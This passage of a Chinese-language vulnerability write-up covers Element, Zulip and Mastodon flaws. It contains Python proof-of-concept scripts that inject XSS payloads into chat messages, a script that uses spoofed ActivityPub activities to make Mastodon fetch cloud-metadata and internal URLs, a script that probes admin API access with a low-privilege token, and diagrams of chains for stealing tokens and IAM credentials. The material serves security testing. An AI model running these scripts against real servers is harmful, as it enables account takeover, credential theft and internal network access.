                url = f"{self.target}/_matrix/client/r0/rooms/{room_id}/send/m.room.message"
            else:
                url = f"{self.target}/_matrix/client/r0/createRoom"

            if not room_id:
                create_data = {"name": "XSS Test Room", "visibility": "private"}
                try:
                    resp = self.session.post(
                        f"{self.target}/_matrix/client/r0/createRoom",
                        headers=headers,
                        json=create_data,
                        timeout=10,
                    )
                    if resp.status_code == 200:
                        room_id = resp.json().get("room_id")
                        print(f"    创建测试房间: {room_id}")
                except Exception:
                    pass

            if room_id:
                txn_id = "test_1"
                send_url = f"{self.target}/_matrix/client/r0/rooms/{room_id}/send/m.room.message/{txn_id}"
                try:
                    resp = self.session.put(
                        send_url,
                        headers=headers,
                        json=msg_content,
                        timeout=10,
                    )
                    if resp.status_code in [200, 403]:
                        if resp.status_code == 200:
                            print(f"    [!] 消息发送成功 — HTML 未过滤!")
                        else:
                            print(f"    [-] 消息被拒绝 (403)")
                except Exception as e:
                    print(f"    [-] 发送失败: {e}")
        return True


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [access_token]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    detector = ElementXSSDetector(target, token)
    detector.check_element_version()
    detector.test_message_html_filtering()


if __name__ == "__main__":
    main()

id: cve-2022-39348-element-xss

info:
  name: Element Web 存储型 XSS (CVE-2022-39348)
  author: security-researcher
  severity: high
  description: |
    Element Web < 1.11.14 的消息渲染存在存储型 XSS 漏洞，
    攻击者可通过消息内容注入恶意脚本窃取 access_token。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    score: 8.7
  cwe:
    id: CWE-79
  reference:
    - https://github.com/element-hq/element-web/security/advisories/GHSA-mx45-p9vr-xcp8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39348
  classification:
    cpe: cpe:2.3:a:element:element-web:*:*:*:*:*:*:*:*
    version: < 1.11.14
  metadata:
    max-request: 1
    shodan-query: title:"Element"
  tags: cve,cve2022,element,xss,matrix,stored-xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/version"
      - "{{BaseURL}}/config.json"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"base_url"'
        condition: or

      - type: status
        status:
          - 200
## 0x04 Zulip 与 Mastodon 漏洞

### 0x04.1 CVE-2022-36047 — Zulip Markdown 内容注入

#### 漏洞背景

CVSS 6.1（Medium），CWE-79（Cross-site Scripting）。影响 Zulip < 5.7。Zulip 使用 Markdown 作为消息格式，其渲染器在转换 Markdown 为 HTML 时存在标签过滤不完整的问题。

#### 漏洞原理

Zulip 的 Markdown 渲染器使用 Python 的 `markdown` 库配合自定义扩展。在处理某些 HTML 标签组合时，过滤规则存在绕过空间：

1. **属性事件处理器绕过**：部分 HTML 标签的事件属性（如 `onload`、`onerror`）未被完全过滤
2. **嵌套标签绕过**：通过嵌套 `<a>` 标签与 `<img>` 标签的组合绕过过滤
3. **Markdown 内联 HTML**：Zulip 允许 Markdown 中直接嵌入 HTML，过滤规则未能覆盖所有变体

可利用的 Payload 示例：

```markdown
<a href="javascript:alert(1)">Click me</a>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>test</details>

#!/usr/bin/env python3
"""
CVE-2022-36047 — Zulip Markdown 内容注入检测
仅用于授权安全测试
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    {"name": "svg onload", "payload": '<svg/onload=alert(1)>', "type": "message"},
    {"name": "img onerror", "payload": '<img src=x onerror=alert(1)>', "type": "message"},
    {"name": "a javascript", "payload": '<a href="javascript:alert(1)">click</a>', "type": "message"},
    {"name": "details ontoggle", "payload": '<details open ontoggle=alert(1)>x</details>', "type": "message"},
    {"name": "iframe", "payload": '<iframe src="javascript:alert(1)">', "type": "message"},
]


class ZulipContentInject:
    def __init__(self, target_url, email=None, password=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.auth = None
        if email and password:
            self.auth = (email, password)

    def get_version(self):
        try:
            resp = self.session.get(f"{self.target}/api/v1/server_settings", timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                version = data.get("version", "unknown")
                print(f"[*] Zulip 版本: {version}")
                return data
        except Exception:
            pass
        return None

    def login(self, email, password):
        url = f"{self.target}/api/v1/login"
        data = {"email": email, "password": password}
        try:
            resp = self.session.post(url, json=data, timeout=10)
            if resp.status_code == 200:
                print(f"[+] 登录成功")
                return True
        except Exception:
            pass
        return False

    def send_message(self, stream, topic, content):
        url = f"{self.target}/api/v1/messages"
        data = {"type": "stream", "to": stream, "topic": topic, "content": content}
        try:
            resp = self.session.post(url, json=data, timeout=10)
            return resp
        except Exception:
            return None

    def test_xss_in_message(self, stream="test-security", topic="xss-test"):
        print("[*] === 测试 Markdown 内容注入 ===")
        for payload_info in XSS_PAYLOADS:
            print(f"\n[*] 测试: {payload_info['name']}")
            print(f"    Payload: {payload_info['payload']}")
            if self.auth:
                resp = self.send_message(stream, topic, payload_info["payload"])
                if resp:
                    print(f"    响应: {resp.status_code}")
                    if resp.status_code == 200:
                        print(f"    [!] 消息发送成功 — 检查是否在客户端触发 XSS")
            else:
                print(f"    [-] 需要提供登录凭据")


def main():
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password>")
        sys.exit(1)
    scanner = ZulipContentInject(sys.argv[1], sys.argv[2], sys.argv[3])
    scanner.get_version()
    scanner.login(sys.argv[2], sys.argv[3])
    scanner.test_xss_in_message()


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
CVE-2024-22433 — Mastodon 媒体代理 SSRF 检测
仅用于授权安全测试
"""
import requests
import sys
import json
import urllib3
import hashlib
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MastodonMediaSSRF:
    def __init__(self, target_url, attacker_token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.attacker_token = attacker_token

    def get_instance_info(self):
        try:
            resp = self.session.get(f"{self.target}/api/v1/instance", timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                print(f"[*] 实例: {data.get('uri')}")
                print(f"[*] 版本: {data.get('version')}")
                return data
        except Exception as e:
            print(f"[-] 获取实例信息失败: {e}")
        return None

    def create_spoofed_activity(self, media_url):
        return {
            "@context": "https://www.w3.org/ns/activitystreams",
            "type": "Create",
            "actor": "https://attacker.example.com/users/test",
            "object": {
                "type": "Note",
                "id": f"https://attacker.example.com/statuses/{hashlib.md5(str(time.time()).encode()).hexdigest()}",
                "content": "SSRF test",
                "attachment": {
                    "type": "Document",
                    "mediaType": "image/png",
                    "url": media_url,
                },
            },
        }

    def test_ssrf_via_federation(self, media_url):
        print(f"[*] 测试 SSRF: {media_url}")
        activity = self.create_spoofed_activity(media_url)
        headers = {"Content-Type": "application/activity+json", "Accept": "application/activity+json"}
        try:
            resp = self.session.post(f"{self.target}/inbox", json=activity, headers=headers, timeout=15)
            print(f"    Inbox 响应: {resp.status_code}")
            return resp.status_code in [200, 202, 401]
        except requests.exceptions.RequestException as e:
            print(f"    请求异常: {e}")
            return False

    def scan_metadata_endpoints(self):
        print("[*] === 云元数据 SSRF 探测 ===")
        targets = [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://metadata.google.internal/computeMetadata/v1/",
        ]
        for url in targets:
            self.test_ssrf_via_federation(url)

    def scan_internal_services(self):
        print("[*] === 内网服务探测 ===")
        for url in ["http://127.0.0.1:6379/", "http://127.0.0.1:5432/", "http://127.0.0.1:3000/"]:
            self.test_ssrf_via_federation(url)


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [attacker_token]")
        sys.exit(1)
    scanner = MastodonMediaSSRF(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else None)
    scanner.get_instance_info()
    scanner.scan_metadata_endpoints()
    scanner.scan_internal_services()


if __name__ == "__main__":
    main()

id: cve-2024-22433-mastodon-media-ssrf

info:
  name: Mastodon 媒体代理 SSRF (CVE-2024-22433)
  author: security-researcher
  severity: medium
  description: |
    Mastodon < 4.2.6 媒体代理功能存在 SSRF 漏洞。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    score: 6.5
  cwe:
    id: CWE-918
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22433
  tags: cve,cve2024,mastodon,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/instance"
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"mastodon"'
        condition: and

id: CVE-2024-22433

info:
  name: Mastodon - Media Proxy SSRF
  author: x7peeps
  severity: medium
  description: Mastodon 媒体代理组件存在 SSRF 漏洞，可通过联邦协议帖子中的恶意媒体 URL 触发
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-22433
  tags: cve,cve2024,mastodon,ssrf,federation

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/instance"
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"mastodon"'
        condition: and

#!/usr/bin/env python3
"""
CVE-2024-22434 — Mastodon 管理 API 权限提升检测
仅用于授权安全测试，验证低权限用户是否可访问管理端点
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MastodonAdminAPIAbuse:
    ADMIN_ENDPOINTS = [
        "/api/v1/admin/accounts",
        "/api/v1/admin/config",
        "/api/v1/admin/ip_blocks",
        "/api/v1/admin/domain_blocks",
        "/api/v1/admin/reports",
        "/api/v1/admin/accounts/search",
        "/api/v1/admin/trends/tags",
    ]

    def __init__(self, target_url, user_token):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.headers.update({"Authorization": f"Bearer {user_token}"})
        self.session.verify = False

    def test_admin_access(self):
        print(f"[*] Testing admin API access on {self.target}")
        accessible = []
        for endpoint in self.ADMIN_ENDPOINTS:
            try:
                resp = self.session.get(f"{self.target}{endpoint}", timeout=10)
                if resp.status_code == 200:
                    try:
                        data = resp.json()
                        accessible.append(endpoint)
                        if isinstance(data, list):
                            print(f"[+] {endpoint} — 可访问，返回 {len(data)} 条记录")
                        elif isinstance(data, dict):
                            keys = list(data.keys())[:5]
                            print(f"[+] {endpoint} — 可访问，字段: {keys}")
                    except json.JSONDecodeError:
                        accessible.append(endpoint)
                        print(f"[+] {endpoint} — 可访问 (非 JSON 响应)")
                elif resp.status_code == 403:
                    print(f"[-] {endpoint} — 权限不足 (403)")
                elif resp.status_code == 404:
                    print(f"[-] {endpoint} — 不存在 (404)")
            except Exception as e:
                print(f"[!] {endpoint} — 请求失败: {e}")
        return accessible


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <user_access_token>")
        print(f"示例: {sys.argv[0]} https://mastodon.example.com YOUR_TOKEN")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    abuser = MastodonAdminAPIAbuse(target, token)
    results = abuser.test_admin_access()
    if results:
        print(f"\n[!] 发现 {len(results)} 个可未授权访问的管理端点!")
        print("[!] 低权限用户可完全控制实例管理功能")
    else:
        print("\n[-] 未发现可访问的管理端点，实例可能已修复此漏洞")


if __name__ == "__main__":
    main()

用户发送消息（含恶意 URL）
    → 服务端发起请求到 169.254.169.254（云元数据）
    → 返回 IAM 临时凭据
    → 攻击者利用凭据访问 AWS/GCP API
    → S3 桶读取 / EC2 实例控制 → RCE

攻击者发送包含 XSS payload 的消息/房间名
    → 受害者查看消息触发 XSS
    → JavaScript 窃取 localStorage 中的 access_token
    → 攻击者使用令牌通过 API 冒充受害者
    → 在联邦环境中可横向扩散到其他服务器

# 1. 检查 Rocket.Chat 版本
curl -s http://TARGET:3000/api/v1/info | jq '.info.version'
# 低于 6.9.0 存在已知漏洞

# 2. 检查 Mattermost 版本
curl -s http://TARGET:8065/api/v4/system/ping | jq '.version'
# 低于 7.10.0 需要升级

# 3. 检查 Matrix Synapse 版本
curl -s http://TARGET:8008/_matrix/client/versions | jq '.versions'
# 低于 1.47.0 存在 Token 泄露风险

# 4. 检查 Element Web 版本
curl -s http://TARGET:8080/config.json | jq '.version'
# 低于 1.11.14 存在 XSS 风险

# 5. 检查 Mastodon 版本
curl -s http://TARGET:3000/api/v1/instance | jq '.version'
# 低于 4.2.6 存在 SSRF 和权限提升风险

# 6. 检查 Zulip 版本
curl -s http://TARGET:9991/api/v1/server_settings | jq '.zulip_version'
# 低于 5.7 存在内容注入风险

# 7. 检查 Rocket.Chat SSRF 风险
curl -s "http://TARGET:3000/api/v1/oembed.json?url=http://127.0.0.1:27017/"
# 返回 MongoDB 信息说明 SSRF 未修复

# 8. 检查 SAML 配置
curl -s "http://TARGET:3000/_saml/metadata"
# 存在 SAML 元数据说明启用了 SAML，需验证签名校验